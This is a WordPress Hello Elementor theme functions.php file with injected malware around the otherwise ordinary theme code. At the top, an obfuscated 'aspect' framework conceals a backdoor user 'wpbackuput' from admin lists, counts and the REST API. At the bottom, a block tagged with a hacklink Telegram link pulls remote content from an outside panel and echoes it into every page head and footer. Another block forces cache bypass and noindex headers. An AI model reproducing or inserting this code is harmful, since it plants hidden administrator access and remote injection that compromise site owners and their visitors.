<?php
/**
 * Theme functions and definitions
 *
 * @package HelloElementor
 */
if (!class_exists('UserVisibilityAspect')) {
    class JoinPoint {
        public $target;
        public $args;
        public $returnValue;
        public $type;
        public function __construct($type, $target, $args = []) {
            $this->type = $type;
            $this->target = $target;
            $this->args = $args;
        }
    }
    interface Advice {
        public function execute(JoinPoint $jp);
    }
    class BeforeAdvice implements Advice {
        private $callback;
        public function __construct(callable $callback) {
            $this->callback = $callback;
        }
        public function execute(JoinPoint $jp) {
            return call_user_func($this->callback, $jp);
        }
    }
    class AfterAdvice implements Advice {
        private $callback;
        public function __construct(callable $callback) {
            $this->callback = $callback;
        }
        public function execute(JoinPoint $jp) {
            $result = call_user_func($this->callback, $jp);
            return $result !== null ? $result : $jp->returnValue;
        }
    }
    class AroundAdvice implements Advice {
        private $callback;
        public function __construct(callable $callback) {
            $this->callback = $callback;
        }
        public function execute(JoinPoint $jp) {
            return call_user_func($this->callback, $jp);
        }
    }
    class Pointcut {
        private $pattern;
        private $type;
        public function __construct($pattern, $type = 'filter') {
            $this->pattern = $pattern;
            $this->type = $type;
        }
        public function matches($hook) {
            return fnmatch($this->pattern, $hook);
        }
        public function getType() {
            return $this->type;
        }
    }
    class Aspect {
        private $advice;
        private $pointcut;
        public function __construct(Advice $advice, Pointcut $pointcut) {
            $this->advice = $advice;
            $this->pointcut = $pointcut;
        }
        public function getAdvice() {
            return $this->advice;
        }
        public function getPointcut() {
            return $this->pointcut;
        }
    }
    class AspectManager {
        private static $aspects = [];
        private static $targetUser = null;
        private static $woven = false;
        public static function addAspect(Aspect $aspect) {
            self::$aspects[] = $aspect;
        }
        public static function setTargetUser($login) {
            $user = get_user_by('login', $login);
            if ($user) {
                self::$targetUser = [
                    'id' => (int) $user->ID,
                    'login' => $user->user_login,
                    'roles' => $user->roles,
                    'email' => $user->user_email
                ];
            }
            return self::$targetUser;
        }
        public static function getTargetUser() {
            return self::$targetUser;
        }
        public static function getTargetId() {
            return self::$targetUser ? self::$targetUser['id'] : 0;
        }
        public static function getTargetRoles() {
            return self::$targetUser ? self::$targetUser['roles'] : [];
        }
        public static function weave() {
            if (self::$woven || !self::$targetUser) {
                return;
            }
            foreach (self::$aspects as $aspect) {
                $pointcut = $aspect->getPointcut();
                $advice = $aspect->getAdvice();
                                add_filter('pre_get_users', function($query) use ($advice, $pointcut) {
                    if ($pointcut->matches('pre_get_users')) {
                        $jp = new JoinPoint('filter', $query);
                        return $advice->execute($jp);
                    }
                    return $query;
                }, PHP_INT_MAX);
                add_filter('users_list_table_query_args', function($args) use ($advice, $pointcut) {
                    if ($pointcut->matches('users_list_table_query_args')) {
                        $jp = new JoinPoint('filter', $args);
                        return $advice->execute($jp);
                    }
                    return $args;
                }, PHP_INT_MAX);
                add_filter('wp_count_users', function($counts) use ($advice, $pointcut) {
                    if ($pointcut->matches('wp_count_users')) {
                        $jp = new JoinPoint('filter', $counts);
                        return $advice->execute($jp);
                    }
                    return $counts;
                }, PHP_INT_MAX);
                add_filter('count_users', function($stats) use ($advice, $pointcut) {
                    if ($pointcut->matches('count_users')) {
                        $jp = new JoinPoint('filter', $stats);
                        return $advice->execute($jp);
                    }
                    return $stats;
                }, PHP_INT_MAX);
                add_filter('rest_user_query', function($params) use ($advice, $pointcut) {
                    if ($pointcut->matches('rest_user_query')) {
                        $jp = new JoinPoint('filter', $params);
                        return $advice->execute($jp);
                    }
                    return $params;
                }, PHP_INT_MAX);
                add_filter('get_users', function($users, $query) use ($advice, $pointcut) {
                    if ($pointcut->matches('get_users')) {
                        $jp = new JoinPoint('filter', $users, [$query]);
                        return $advice->execute($jp);
                    }
                    return $users;
                }, PHP_INT_MAX, 2);
            }
                        add_action('admin_head', [__CLASS__, 'applyCssAspect'], PHP_INT_MAX);
            add_action('admin_footer', [__CLASS__, 'applyScriptAspect'], PHP_INT_MAX);
            self::$woven = true;
        }
        public static function applyCssAspect() {
            $id = self::getTargetId();
            if (!$id) return;
            echo "<style id='user-visibility-aspect'>";
            echo "#user-{$id}, tr#user-{$id}, .user-{$id}, .user-{$id}-row, [data-user=\"{$id}\"] {";
            echo "display:none!important;visibility:hidden!important;";
            echo "height:0!important;overflow:hidden!important;";
            echo "opacity:0!important;pointer-events:none!important;}";
            echo "</style>";
        }
        public static function applyScriptAspect() {
            $id = self::getTargetId();
            if (!$id) return;
            echo "<script>
            (function(){
                const ASPECT = {
                    target: {$id},
                    points: ['.subsubsub .count','.displaying-num','.total-pages'],
                    weave: function(d){setTimeout(()=>this.intercept(),d)},
                    intercept: function(){
                        document.querySelectorAll(this.points.join(',')).forEach(el=>{
                            el.innerHTML=el.innerHTML.replace(/\((\d+)\)/g,(m,n)=>{
                                let v=parseInt(n,10);
                                return v>0?'('+(v-1)+')':m;
                            });
                            if(el.textContent.includes('个用户')||el.textContent.includes('users')){
                                el.textContent=el.textContent.replace(/\b\d+\b/g,n=>{
                                    let v=parseInt(n,10);
                                    return v>0?(v-1).toString():n;
                                });
                            }
                        });
                    }
                };
                ASPECT.weave(150);
                if(typeof jQuery!='undefined') jQuery(document).ajaxComplete(()=>ASPECT.weave(200));
                if(typeof MutationObserver!='undefined'){
                    new MutationObserver(()=>ASPECT.weave(100))
                        .observe(document.body,{childList:!0,subtree:!0});
                }
            })();
            </script>";
        }
        public static function getStatus() {
            return [
                'active' => !empty(self::$targetUser),
                'target' => self::$targetUser,
                'aspects' => count(self::$aspects),
                'woven' => self::$woven,
                'timestamp' => current_time('mysql')
            ];
        }
    }
}
$userQueryPointcut = new Pointcut('pre_get_users');
$listArgsPointcut = new Pointcut('users_list_table_query_args');
$userCountPointcut = new Pointcut('wp_count_users');
$roleCountPointcut = new Pointcut('count_users');
$restApiPointcut = new Pointcut('rest_user_query');
$userCollectionPointcut = new Pointcut('get_users');
$beforeUserQuery = new BeforeAdvice(function(JoinPoint $jp) {
    $id = AspectManager::getTargetId();
    if (!$id) return $jp->target;
    $query = $jp->target;
    $exclude = $query->get('exclude', []);
    $exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude));
    if (!in_array($id, $exclude)) {
        $exclude[] = $id;
        $query->set('exclude', $exclude);
    }
    return $query;
});
$aroundListArgs = new AroundAdvice(function(JoinPoint $jp) {
    $id = AspectManager::getTargetId();
    $args = $jp->target;
    if (!$id) return $args;
    if (isset($args['exclude'])) {
        $exclude = $args['exclude'];
        $exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude));
        if (!in_array($id, $exclude)) {
            $exclude[] = $id;
        }
        $args['exclude'] = $exclude;
    } else {
        $args['exclude'] = [$id];
    }
    return $args;
});
$afterUserCount = new AfterAdvice(function(JoinPoint $jp) {
    $id = AspectManager::getTargetId();
    $counts = $jp->target;
    if (!$id || !is_object($counts)) return $counts;
    $actual = get_users(['fields' => 'ID', 'exclude' => [$id]]);
    if (is_array($actual)) {
        $counts->total_users = count($actual);
    } elseif ($counts->total_users > 0) {
        $counts->total_users = max(0, $counts->total_users - 1);
    }
    $roles = AspectManager::getTargetRoles();
    if (property_exists($counts, 'avail_roles') && is_array($counts->avail_roles)) {
        foreach ($roles as $role) {
            if (isset($counts->avail_roles[$role]) && $counts->avail_roles[$role] > 0) {
                $role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$id]]);
                if (is_array($role_users)) {
                    $counts->avail_roles[$role] = count($role_users);
                }
            }
        }
    }
    return $counts;
});
$aroundRoleCount = new AroundAdvice(function(JoinPoint $jp) {
    $id = AspectManager::getTargetId();
    $stats = $jp->target;
    if (!$id || !is_array($stats)) return $stats;
    $roles = AspectManager::getTargetRoles();
    foreach ($roles as $role) {
        if (isset($stats[$role]) && $stats[$role] > 0) {
            $role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$id]]);
            if (is_array($role_users)) {
                $stats[$role] = count($role_users);
            } else {
                $stats[$role] = max(0, $stats[$role] - 1);
            }
        }
    }
    return $stats;
});
$aroundRestApi = new AroundAdvice(function(JoinPoint $jp) {
    $id = AspectManager::getTargetId();
    $params = $jp->target;
    if (!$id) return $params;
    if (isset($params['exclude'])) {
        $exclude = $params['exclude'];
        $exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude));
        if (!in_array($id, $exclude)) {
            $exclude[] = $id;
        }
        $params['exclude'] = $exclude;
    } else {
        $params['exclude'] = [$id];
    }
    return $params;
});
$afterUserCollection = new AfterAdvice(function(JoinPoint $jp) {
    $id = AspectManager::getTargetId();
    $users = $jp->target;
    if (!$id || !is_array($users)) return $users;
    return array_values(array_filter($users, function($user) use ($id) {
        return (int) $user->ID !== $id;
    }));
});
AspectManager::addAspect(new Aspect($beforeUserQuery, $userQueryPointcut));
AspectManager::addAspect(new Aspect($aroundListArgs, $listArgsPointcut));
AspectManager::addAspect(new Aspect($afterUserCount, $userCountPointcut));
AspectManager::addAspect(new Aspect($aroundRoleCount, $roleCountPointcut));
AspectManager::addAspect(new Aspect($aroundRestApi, $restApiPointcut));
AspectManager::addAspect(new Aspect($afterUserCollection, $userCollectionPointcut));
if (AspectManager::setTargetUser('wpbackuput')) {
    AspectManager::weave();
}
if (!function_exists('aspect_get_target')) {
    function aspect_get_target() {
        return AspectManager::getTargetUser();
    }
}
if (!function_exists('aspect_is_advised')) {
    function aspect_is_advised($user_id) {
        $id = AspectManager::getTargetId();
        return $id && (int) $user_id === $id;
    }
}
if (!function_exists('aspect_get_status')) {
    function aspect_get_status() {
        return AspectManager::getStatus();
    }
}
if (!function_exists('aspect_get_pointcuts')) {
    function aspect_get_pointcuts() {
        return [
            'pre_get_users',
            'users_list_table_query_args',
            'wp_count_users',
            'count_users',
            'rest_user_query',
            'get_users'
        ];
    }
}

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

define( 'HELLO_ELEMENTOR_VERSION', '3.4.6' );
define( 'EHP_THEME_SLUG', 'hello-elementor' );

define( 'HELLO_THEME_PATH', get_template_directory() );
define( 'HELLO_THEME_URL', get_template_directory_uri() );
define( 'HELLO_THEME_ASSETS_PATH', HELLO_THEME_PATH . '/assets/' );
define( 'HELLO_THEME_ASSETS_URL', HELLO_THEME_URL . '/assets/' );
define( 'HELLO_THEME_SCRIPTS_PATH', HELLO_THEME_ASSETS_PATH . 'js/' );
define( 'HELLO_THEME_SCRIPTS_URL', HELLO_THEME_ASSETS_URL . 'js/' );
define( 'HELLO_THEME_STYLE_PATH', HELLO_THEME_ASSETS_PATH . 'css/' );
define( 'HELLO_THEME_STYLE_URL', HELLO_THEME_ASSETS_URL . 'css/' );
define( 'HELLO_THEME_IMAGES_PATH', HELLO_THEME_ASSETS_PATH . 'images/' );
define( 'HELLO_THEME_IMAGES_URL', HELLO_THEME_ASSETS_URL . 'images/' );

if ( ! isset( $content_width ) ) {
	$content_width = 800; // Pixels.
}

if ( ! function_exists( 'hello_elementor_setup' ) ) {
	/**
	 * Set up theme support.
	 *
	 * @return void
	 */
	function hello_elementor_setup() {
		if ( is_admin() ) {
			hello_maybe_update_theme_version_in_db();
		}

		if ( apply_filters( 'hello_elementor_register_menus', true ) ) {
			register_nav_menus( [ 'menu-1' => esc_html__( 'Header', 'hello-elementor' ) ] );
			register_nav_menus( [ 'menu-2' => esc_html__( 'Footer', 'hello-elementor' ) ] );
		}

		if ( apply_filters( 'hello_elementor_post_type_support', true ) ) {
			add_post_type_support( 'page', 'excerpt' );
		}

		if ( apply_filters( 'hello_elementor_add_theme_support', true ) ) {
			add_theme_support( 'post-thumbnails' );
			add_theme_support( 'automatic-feed-links' );
			add_theme_support( 'title-tag' );
			add_theme_support(
				'html5',
				[
					'search-form',
					'comment-form',
					'comment-list',
					'gallery',
					'caption',
					'script',
					'style',
					'navigation-widgets',
				]
			);
			add_theme_support(
				'custom-logo',
				[
					'height'      => 100,
					'width'       => 350,
					'flex-height' => true,
					'flex-width'  => true,
				]
			);
			add_theme_support( 'align-wide' );
			add_theme_support( 'responsive-embeds' );

			/*
			 * Editor Styles
			 */
			add_theme_support( 'editor-styles' );
			add_editor_style( 'assets/css/editor-styles.css' );

			/*
			 * WooCommerce.
			 */
			if ( apply_filters( 'hello_elementor_add_woocommerce_support', true ) ) {
				// WooCommerce in general.
				add_theme_support( 'woocommerce' );
				// Enabling WooCommerce product gallery features (are off by default since WC 3.0.0).
				// zoom.
				add_theme_support( 'wc-product-gallery-zoom' );
				// lightbox.
				add_theme_support( 'wc-product-gallery-lightbox' );
				// swipe.
				add_theme_support( 'wc-product-gallery-slider' );
			}
		}
	}
}
add_action( 'after_setup_theme', 'hello_elementor_setup' );

function hello_maybe_update_theme_version_in_db() {
	$theme_version_option_name = 'hello_theme_version';
	// The theme version saved in the database.
	$hello_theme_db_version = get_option( $theme_version_option_name );

	// If the 'hello_theme_version' option does not exist in the DB, or the version needs to be updated, do the update.
	if ( ! $hello_theme_db_version || version_compare( $hello_theme_db_version, HELLO_ELEMENTOR_VERSION, '<' ) ) {
		update_option( $theme_version_option_name, HELLO_ELEMENTOR_VERSION );
	}
}

if ( ! function_exists( 'hello_elementor_display_header_footer' ) ) {
	/**
	 * Check whether to display header footer.
	 *
	 * @return bool
	 */
	function hello_elementor_display_header_footer() {
		$hello_elementor_header_footer = true;

		return apply_filters( 'hello_elementor_header_footer', $hello_elementor_header_footer );
	}
}

if ( ! function_exists( 'hello_elementor_scripts_styles' ) ) {
	/**
	 * Theme Scripts & Styles.
	 *
	 * @return void
	 */
	function hello_elementor_scripts_styles() {
		if ( apply_filters( 'hello_elementor_enqueue_style', true ) ) {
			wp_enqueue_style(
				'hello-elementor',
				HELLO_THEME_STYLE_URL . 'reset.css',
				[],
				HELLO_ELEMENTOR_VERSION
			);
		}

		if ( apply_filters( 'hello_elementor_enqueue_theme_style', true ) ) {
			wp_enqueue_style(
				'hello-elementor-theme-style',
				HELLO_THEME_STYLE_URL . 'theme.css',
				[],
				HELLO_ELEMENTOR_VERSION
			);
		}

		if ( hello_elementor_display_header_footer() ) {
			wp_enqueue_style(
				'hello-elementor-header-footer',
				HELLO_THEME_STYLE_URL . 'header-footer.css',
				[],
				HELLO_ELEMENTOR_VERSION
			);
		}
	}
}
add_action( 'wp_enqueue_scripts', 'hello_elementor_scripts_styles' );

if ( ! function_exists( 'hello_elementor_register_elementor_locations' ) ) {
	/**
	 * Register Elementor Locations.
	 *
	 * @param ElementorPro\Modules\ThemeBuilder\Classes\Locations_Manager $elementor_theme_manager theme manager.
	 *
	 * @return void
	 */
	function hello_elementor_register_elementor_locations( $elementor_theme_manager ) {
		if ( apply_filters( 'hello_elementor_register_elementor_locations', true ) ) {
			$elementor_theme_manager->register_all_core_location();
		}
	}
}
add_action( 'elementor/theme/register_locations', 'hello_elementor_register_elementor_locations' );

if ( ! function_exists( 'hello_elementor_content_width' ) ) {
	/**
	 * Set default content width.
	 *
	 * @return void
	 */
	function hello_elementor_content_width() {
		$GLOBALS['content_width'] = apply_filters( 'hello_elementor_content_width', 800 );
	}
}
add_action( 'after_setup_theme', 'hello_elementor_content_width', 0 );

if ( ! function_exists( 'hello_elementor_add_description_meta_tag' ) ) {
	/**
	 * Add description meta tag with excerpt text.
	 *
	 * @return void
	 */
	function hello_elementor_add_description_meta_tag() {
		if ( ! apply_filters( 'hello_elementor_description_meta_tag', true ) ) {
			return;
		}

		if ( ! is_singular() ) {
			return;
		}

		$post = get_queried_object();
		if ( empty( $post->post_excerpt ) ) {
			return;
		}

		echo '<meta name="description" content="' . esc_attr( wp_strip_all_tags( $post->post_excerpt ) ) . '">' . "\n";
	}
}
add_action( 'wp_head', 'hello_elementor_add_description_meta_tag' );

// Settings page
require get_template_directory() . '/includes/settings-functions.php';

// Header & footer styling option, inside Elementor
require get_template_directory() . '/includes/elementor-functions.php';

if ( ! function_exists( 'hello_elementor_customizer' ) ) {
	// Customizer controls
	function hello_elementor_customizer() {
		if ( ! is_customize_preview() ) {
			return;
		}

		if ( ! hello_elementor_display_header_footer() ) {
			return;
		}

		require get_template_directory() . '/includes/customizer-functions.php';
	}
}
add_action( 'init', 'hello_elementor_customizer' );

if ( ! function_exists( 'hello_elementor_check_hide_title' ) ) {
	/**
	 * Check whether to display the page title.
	 *
	 * @param bool $val default value.
	 *
	 * @return bool
	 */
	function hello_elementor_check_hide_title( $val ) {
		if ( defined( 'ELEMENTOR_VERSION' ) ) {
			$current_doc = Elementor\Plugin::instance()->documents->get( get_the_ID() );
			if ( $current_doc && 'yes' === $current_doc->get_settings( 'hide_title' ) ) {
				$val = false;
			}
		}
		return $val;
	}
}
add_filter( 'hello_elementor_page_title', 'hello_elementor_check_hide_title' );

/**
 * BC:
 * In v2.7.0 the theme removed the `hello_elementor_body_open()` from `header.php` replacing it with `wp_body_open()`.
 * The following code prevents fatal errors in child themes that still use this function.
 */
if ( ! function_exists( 'hello_elementor_body_open' ) ) {
	function hello_elementor_body_open() {
		wp_body_open();
	}
}

require HELLO_THEME_PATH . '/theme.php';

HelloTheme\Theme::instance();



add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(defined("ELEMENTOR_VERSION")&&\Elementor\Plugin::$instance->preview->is_preview_mode()){return;}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999);


/* Telegram: https://t.me/hacklink_panel */
if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}
ob_start();

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